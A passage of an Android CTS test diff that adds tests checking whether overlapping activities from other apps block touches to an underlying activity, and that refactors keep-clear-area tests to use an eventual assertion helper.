+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.WindowManagerState.STATE_PAUSED;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.overlay.Components.TranslucentFloatingActivity.ACTION_FINISH;
+import static android.server.wm.overlay.Components.TranslucentFloatingActivity.EXTRA_FADE_EXIT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.overlay.Components;
+
+import androidx.annotation.Nullable;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:ActivityRecordInputSinkTests
+ */
+@Presubmit
+public class ActivityRecordInputSinkTests extends ActivityManagerTestBase {
+
+ private static final String APP_SELF =
+ WindowUntrustedTouchTest.class.getPackage().getName() + ".cts";
+ private static final String APP_A =
+ android.server.wm.second.Components.class.getPackage().getName();
+
+ private static final ComponentName TEST_ACTIVITY =
+ new ComponentName(APP_SELF, "android.server.wm.ActivityRecordInputSinkTestsActivity");
+
+ private static final ComponentName OVERLAY_IN_SAME_UID =
+ Components.TranslucentFloatingActivity.getComponent(APP_SELF);
+ private static final ComponentName OVERLAY_IN_DIFFERENT_UID =
+ Components.TranslucentFloatingActivity.getComponent(APP_A);
+ private static final ComponentName TRAMPOLINE_DIFFERENT_UID =
+ Components.TrampolineActivity.getComponent(APP_A);
+
+ private int mTouchCount;
+
+ @Before
+ public void setUp() {
+ ActivityRecordInputSinkTestsActivity.sButtonClickCount.set(0);
+ }
+
+ @After
+ public void tearDown() {
+ stopTestPackage(APP_A);
+ }
+
+ @Test
+ public void testOverlappingActivityInNewTask_BlocksTouches() {
+ launchActivity(TEST_ACTIVITY);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+ launchActivityInNewTask(OVERLAY_IN_SAME_UID);
+ mWmState.waitAndAssertActivityState(OVERLAY_IN_SAME_UID, STATE_RESUMED);
+ touchButtonsAndAssert(false /*expectTouchesToReachActivity*/);
+
+ mContext.sendBroadcast(new Intent(Components.TranslucentFloatingActivity.ACTION_FINISH));
+ mWmState.waitAndAssertActivityRemoved(OVERLAY_IN_SAME_UID);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+ }
+
+ @Test
+ public void testOverlappingActivityInSameTaskSameUid_DoesNotBlocksTouches() {
+ launchActivity(TEST_ACTIVITY);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+ launchActivityInSameTask(OVERLAY_IN_SAME_UID);
+ mWmState.waitAndAssertActivityState(OVERLAY_IN_SAME_UID, STATE_RESUMED);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+ }
+
+ @Test
+ public void testOverlappingActivityInSameTaskDifferentUid_DoesNotBlocksTouches() {
+ launchActivity(TEST_ACTIVITY);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+ launchActivityInSameTask(OVERLAY_IN_DIFFERENT_UID);
+ mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+ mWmState.assertActivityDisplayed(OVERLAY_IN_DIFFERENT_UID);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+ }
+
+ @Test
+ public void testOverlappingActivityInSameTaskTrampolineDifferentUid_DoesNotBlockTouches() {
+ launchActivity(TEST_ACTIVITY);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+ launchActivityInSameTask(TRAMPOLINE_DIFFERENT_UID,
+ Components.TrampolineActivity.buildTrampolineExtra(OVERLAY_IN_DIFFERENT_UID));
+ mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+ }
+
+ @Test
+ public void testOverlappingActivitySandwich_BlocksTouches() {
+ Intent intent = new Intent();
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setComponent(TRAMPOLINE_DIFFERENT_UID);
+ intent.replaceExtras(Components.TrampolineActivity.buildTrampolineExtra(TEST_ACTIVITY,
+ OVERLAY_IN_DIFFERENT_UID));
+ mContext.startActivity(intent);
+
+ mWmState.waitAndAssertActivityState(TEST_ACTIVITY, STATE_PAUSED);
+ mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+ touchButtonsAndAssert(false /*expectTouchesToReachActivity*/);
+
+ mContext.sendBroadcast(new Intent(Components.TranslucentFloatingActivity.ACTION_FINISH));
+ mWmState.waitAndAssertActivityRemoved(OVERLAY_IN_DIFFERENT_UID);
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+ }
+
+ @Test
+ public void testOverlappingActivitySandwichDuringAnimation_DoesNotBlockTouches() {
+ Intent intent = new Intent();
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setComponent(TRAMPOLINE_DIFFERENT_UID);
+ intent.replaceExtras(Components.TrampolineActivity.buildTrampolineExtra(TEST_ACTIVITY,
+ OVERLAY_IN_DIFFERENT_UID));
+ mContext.startActivity(intent);
+
+ mWmState.waitAndAssertActivityState(TEST_ACTIVITY, STATE_PAUSED);
+ mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+ touchButtonsAndAssert(false);
+
+ int displayId = mWmState.getTaskByActivity(OVERLAY_IN_DIFFERENT_UID).mDisplayId;
+ mContext.sendBroadcast(new Intent(ACTION_FINISH).putExtra(EXTRA_FADE_EXIT, true));
+ assertThat(mWmState.waitForAppTransitionRunningOnDisplay(displayId)).isTrue();
+ touchButtonsAndAssert(true /*expectTouchesToReachActivity*/, false /*waitForAnimation*/);
+ }
+
+ private void launchActivityInSameTask(ComponentName componentName) {
+ launchActivityInSameTask(componentName, null);
+ }
+
+ private void launchActivityInSameTask(ComponentName componentName, @Nullable Bundle extras) {
+ Intent intent = new Intent(ActivityRecordInputSinkTestsActivity.LAUNCH_ACTIVITY_ACTION);
+ intent.putExtra(ActivityRecordInputSinkTestsActivity.COMPONENT_EXTRA, componentName);
+ intent.putExtra(ActivityRecordInputSinkTestsActivity.EXTRA_EXTRA, extras);
+ mContext.sendBroadcast(intent);
+ }
+
+
+ private void touchButtonsAndAssert(boolean expectTouchesToReachActivity) {
+ touchButtonsAndAssert(expectTouchesToReachActivity, true /* waitForAnimation */);
+ }
+
+ private void touchButtonsAndAssert(
+ boolean expectTouchesToReachActivity, boolean waitForAnimation) {
+ WindowManagerState.Activity activity = mWmState.getActivity(TEST_ACTIVITY);
+ int displayId = activity.getTask().mDisplayId;
+ Rect bounds = activity.getBounds();
+ bounds.offset(0, -bounds.height() / 3);
+ mTouchHelper.tapOnCenter(bounds, displayId, waitForAnimation);
+ mTouchCount += (expectTouchesToReachActivity ? 1 : 0);
+ mInstrumentation.waitForIdleSync();
+ assertThat(ActivityRecordInputSinkTestsActivity.sButtonClickCount.get())
+ .isEqualTo(mTouchCount);
+
+ bounds.offset(0, 2 * bounds.height() / 3);
+ mTouchHelper.tapOnCenter(bounds, displayId, waitForAnimation);
+ mTouchCount += (expectTouchesToReachActivity ? 1 : 0);
+ mInstrumentation.waitForIdleSync();
+ assertThat(ActivityRecordInputSinkTestsActivity.sButtonClickCount.get())
+ .isEqualTo(mTouchCount);
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTestsActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTestsActivity.java
new file mode 100644
index 0000000..c589f0d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTestsActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.LinearLayout;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class ActivityRecordInputSinkTestsActivity extends Activity {
+
+ static final String LAUNCH_ACTIVITY_ACTION = "launch";
+ static final String COMPONENT_EXTRA = "component";
+ static final String EXTRA_EXTRA = "extra";
+
+ Button mTopButton;
+ Button mBottomButton;
+
+ static volatile AtomicInteger sButtonClickCount = new AtomicInteger(0);
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mTopButton = new Button(this);
+ mTopButton.setOnClickListener(v -> sButtonClickCount.getAndIncrement());
+ mTopButton.setLayoutParams(
+ new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,
+ LinearLayout.LayoutParams.MATCH_PARENT));
+ setContentView(mTopButton);
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ registerReceiver(
+ mReceiver, new IntentFilter(LAUNCH_ACTIVITY_ACTION), Context.RECEIVER_NOT_EXPORTED);
+ }
+
+ @Override
+ protected void onStop() {
+ unregisterReceiver(mReceiver);
+ super.onStop();
+ }
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ switch (intent.getAction()) {
+ case LAUNCH_ACTIVITY_ACTION:
+ Intent activityIntent = new Intent();
+ activityIntent.setComponent(intent.getParcelableExtra(COMPONENT_EXTRA,
+ ComponentName.class));
+ activityIntent.replaceExtras(intent.getBundleExtra(EXTRA_EXTRA));
+ startActivity(activityIntent);
+ break;
+ default:
+ throw new AssertionError("Unknown action" + intent.getAction());
+ }
+ }
+ };
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java
index 5e7ea21..92d738c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java
@@ -21,7 +21,6 @@
import static android.server.wm.app.Components.KeepClearRectsActivity.EXTRA_KEEP_CLEAR_RECTS;
import static android.view.Display.DEFAULT_DISPLAY;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
@@ -55,11 +54,12 @@
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
+import java.util.concurrent.Callable;
@Presubmit
@FlakyTest(detail = "Promote once confirmed non-flaky")
public class KeepClearRectsTests extends WindowManagerTestBase {
- private static final long FOCUS_VIEW_CHECK_TIMEOUT = 3000;
+ private static final long SAME_ELEMENT_ASSERTION_TIMEOUT = 3000;
private static final List<Rect> TEST_KEEP_CLEAR_RECTS =
Arrays.asList(new Rect(0, 0, 25, 25),
new Rect(30, 0, 50, 25),
@@ -82,7 +82,7 @@
}
@Test
- public void testSetPreferKeepClearAttr() {
+ public void testSetPreferKeepClearAttr() throws Exception {
final Intent intent = new Intent(mContext, TestActivity.class);
intent.putExtra(USE_KEEP_CLEAR_ATTR_LAYOUT, true);
mTestSession.launchTestActivityOnDisplaySync(null, intent, DEFAULT_DISPLAY);
@@ -90,11 +90,12 @@
// To be kept in sync with res/layout/keep_clear_attr_activity
final Rect keepClearRect = new Rect(0, 0, 25, 25);
- assertSameElements(Arrays.asList(keepClearRect), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(keepClearRect),
+ () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testSetPreferKeepClearSingleView() {
+ public void testSetPreferKeepClearSingleView() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
@@ -102,11 +103,12 @@
final View v = createTestViewInActivity(activity, keepClearRect);
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
- assertSameElements(Arrays.asList(keepClearRect), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(keepClearRect),
+ () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testSetPreferKeepClearTwoViews() {
+ public void testSetPreferKeepClearTwoViews() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
@@ -115,29 +117,30 @@
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
final List<Rect> expected = new ArrayList(Arrays.asList(keepClearRect));
- assertSameElements(expected, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
final Rect keepClearRect2 = new Rect(25, 25, 50, 50);
final View v2 = createTestViewInActivity(activity, keepClearRect2);
mTestSession.runOnMainSyncAndWait(() -> v2.setPreferKeepClear(true));
expected.addAll(Arrays.asList(keepClearRect2));
- assertSameElements(expected, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testSetMultipleKeepClearRectsSingleView() {
+ public void testSetMultipleKeepClearRectsSingleView() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final View v = createTestViewInActivity(activity);
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testSetMultipleKeepClearRectsTwoViews() {
+ public void testSetMultipleKeepClearRectsTwoViews() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
@@ -150,7 +153,7 @@
final List<Rect> expected = new ArrayList(TEST_KEEP_CLEAR_RECTS);
expected.addAll(TEST_KEEP_CLEAR_RECTS_2);
- assertSameElements(expected, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
}
@Test
@@ -169,25 +172,25 @@
}
@Test
- public void testGetPreferKeepClearRectsSingleView() {
+ public void testGetPreferKeepClearRectsSingleView() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final Rect viewBounds = new Rect(0, 0, 60, 60);
final View v = createTestViewInActivity(activity, viewBounds);
- assertSameElements(EMPTY_LIST, v.getPreferKeepClearRects());
+ assertSameElementsEventually(EMPTY_LIST, () -> v.getPreferKeepClearRects());
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, v.getPreferKeepClearRects());
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS, () -> v.getPreferKeepClearRects());
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS_2));
- assertSameElements(TEST_KEEP_CLEAR_RECTS_2, v.getPreferKeepClearRects());
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS_2, () -> v.getPreferKeepClearRects());
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(EMPTY_LIST));
- assertSameElements(EMPTY_LIST, v.getPreferKeepClearRects());
+ assertSameElementsEventually(EMPTY_LIST, () -> v.getPreferKeepClearRects());
}
@Test
- public void testGettersPreferKeepClearRectsTwoViews() {
+ public void testGettersPreferKeepClearRectsTwoViews() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
@@ -201,66 +204,72 @@
});
assertTrue(v1.isPreferKeepClear());
- assertSameElements(TEST_KEEP_CLEAR_RECTS, v2.getPreferKeepClearRects());
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS, () -> v2.getPreferKeepClearRects());
mTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(false));
assertFalse(v1.isPreferKeepClear());
- assertSameElements(TEST_KEEP_CLEAR_RECTS, v2.getPreferKeepClearRects());
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS, () -> v2.getPreferKeepClearRects());
mTestSession.runOnMainSyncAndWait(() -> {
v1.setPreferKeepClear(true);
v2.setPreferKeepClearRects(EMPTY_LIST);
});
assertTrue(v1.isPreferKeepClear());
- assertSameElements(EMPTY_LIST, v2.getPreferKeepClearRects());
+ assertSameElementsEventually(EMPTY_LIST, () -> v2.getPreferKeepClearRects());
}
@Test
- public void testSetPreferKeepClearCombinesWithMultipleRects() {
+ public void testSetPreferKeepClearCombinesWithMultipleRects() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final Rect viewBounds = new Rect(0, 0, 60, 60);
final View v = createTestViewInActivity(activity, viewBounds);
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
final List<Rect> combinedRects = new ArrayList<>(TEST_KEEP_CLEAR_RECTS);
combinedRects.add(viewBounds);
- assertSameElements(combinedRects, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(combinedRects, () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(false));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testIgnoreKeepClearRectsFromGoneViews() {
+ public void testIgnoreKeepClearRectsFromGoneViews() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final Rect viewBounds = new Rect(0, 0, 60, 60);
final View v = createTestViewInActivity(activity, viewBounds);
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
- assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.GONE));
- assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.VISIBLE));
- assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> {
v.setPreferKeepClear(false);
v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
});
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.GONE));
- assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.VISIBLE));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
final Rect viewBounds2 = new Rect(60, 60, 90, 90);
final View v2 = createTestViewInActivity(activity, viewBounds2);
@@ -268,36 +277,39 @@
final List<Rect> expected = new ArrayList(TEST_KEEP_CLEAR_RECTS);
expected.add(viewBounds2);
- assertSameElements(expected, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.GONE));
- assertSameElements(Arrays.asList(viewBounds2), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(viewBounds2),
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> {
v.setVisibility(View.VISIBLE);
v2.setVisibility(View.GONE);
});
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> {
v.setVisibility(View.VISIBLE);
v2.setVisibility(View.VISIBLE);
});
- assertSameElements(expected, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testIgnoreKeepClearRectsFromDetachedViews() {
+ public void testIgnoreKeepClearRectsFromDetachedViews() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final Rect viewBounds = new Rect(0, 0, 60, 60);
final View v = createTestViewInActivity(activity, viewBounds);
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
- assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> ((ViewGroup) v.getParent()).removeView(v));
- assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
}
@Test
@@ -312,26 +324,22 @@
final Rect viewBounds = new Rect(0, 0, 60, 60);
final View v = createTestViewInActivity(activity, viewBounds);
- assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> {
v.setFocusable(true);
v.requestFocus();
});
- PollingCheck.check("Expected focused view bounds as keep clear area",
- preferKeepClearForFocusDelay + FOCUS_VIEW_CHECK_TIMEOUT,
- () -> hasSameElements(Arrays.asList(viewBounds),
- getKeepClearRectsForActivity(activity)));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> v.setFocusable(false));
- PollingCheck.check("Expected no keep clear areas after clearing focus, but found some",
- preferKeepClearForFocusDelay + FOCUS_VIEW_CHECK_TIMEOUT,
- () -> hasSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity)));
+ assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testKeepClearRectsGetTranslatedToWindowSpace() {
+ public void testKeepClearRectsGetTranslatedToWindowSpace() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
@@ -345,28 +353,31 @@
expected.add(newRect);
}
- assertSameElements(expected, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testSetKeepClearRectsOnDisplaySingleWindow() {
+ public void testSetKeepClearRectsOnDisplaySingleWindow() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final Rect keepClearRect = new Rect(0, 0, 25, 25);
final View v = createTestViewInActivity(activity, keepClearRect);
mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
- assertSameElements(Arrays.asList(keepClearRect), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(keepClearRect),
+ () -> getKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> {
v.setPreferKeepClear(false);
v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
});
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
final List<Rect> expectedRectsInScreenSpace =
getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS, activity.getComponentName());
- assertSameElements(expectedRectsInScreenSpace, getKeepClearRectsOnDefaultDisplay());
+ assertSameElementsEventually(expectedRectsInScreenSpace,
+ () -> getKeepClearRectsOnDefaultDisplay());
activity.finishAndRemoveTask();
assertTrue(Collections.disjoint(
@@ -375,14 +386,15 @@
}
@Test
- public void testKeepClearRectsOnDisplayTwoWindows() {
+ public void testKeepClearRectsOnDisplayTwoWindows() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
final Rect viewBounds = new Rect(0, 0, 25, 25);
final View v1 = createTestViewInActivity(activity, viewBounds);
mTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(true));
- assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity));
final String title = "KeepClearRectsTestWindow";
mTestSession.runOnMainSyncAndWait(() -> {
@@ -398,18 +410,20 @@
});
mWmState.waitAndAssertWindowSurfaceShown(title, true);
- assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity));
}
@Test
- public void testKeepClearRectsOnDisplayTwoFullscreenActivities() {
+ public void testKeepClearRectsOnDisplayTwoFullscreenActivities() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity1 = mTestSession.getActivity();
final Rect viewBounds = new Rect(0, 0, 25, 25);
final View v1 = createTestViewInActivity(activity1, viewBounds);
mTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(true));
- assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity1));
+ assertSameElementsEventually(Arrays.asList(viewBounds),
+ () -> getKeepClearRectsForActivity(activity1));
final TestActivitySession<TranslucentTestActivity> translucentTestSession =
createManagedTestActivitySession();
@@ -419,18 +433,19 @@
final View v2 = createTestViewInActivity(activity2);
mTestSession.runOnMainSyncAndWait(() -> v2.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity2));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity2));
mWmState.assertVisibility(activity1.getComponentName(), true);
mWmState.assertVisibility(activity2.getComponentName(), true);
// Since both activities are fullscreen, WM only takes the keep clear areas from the top one
- assertSameElements(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS,
- activity2.getComponentName()), getKeepClearRectsOnDefaultDisplay());
+ assertSameElementsEventually(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS,
+ activity2.getComponentName()), () -> getKeepClearRectsOnDefaultDisplay());
}
@Test
- public void testDisplayHasKeepClearRectsOnlyFromVisibleWindows() {
+ public void testDisplayHasKeepClearRectsOnlyFromVisibleWindows() throws Exception {
final TestActivitySession<TranslucentTestActivity> translucentTestSession =
createManagedTestActivitySession();
translucentTestSession.launchTestActivityOnDisplaySync(
@@ -440,24 +455,25 @@
final Rect viewBounds = new Rect(0, 0, 25, 25);
final View v1 = createTestViewInActivity(activity1, viewBounds);
translucentTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(true));
- assertSameElements(getRectsInScreenSpace(Arrays.asList(viewBounds),
- activity1.getComponentName()),
- getKeepClearRectsOnDefaultDisplay());
+ assertSameElementsEventually(getRectsInScreenSpace(Arrays.asList(viewBounds),
+ activity1.getComponentName()), () -> getKeepClearRectsOnDefaultDisplay());
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity2 = mTestSession.getActivity();
final View v2 = createTestViewInActivity(activity2);
mTestSession.runOnMainSyncAndWait(() -> v2.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity2));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity2));
mWmState.waitAndAssertVisibilityGone(activity1.getComponentName());
mWmState.assertVisibility(activity2.getComponentName(), true);
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity2));
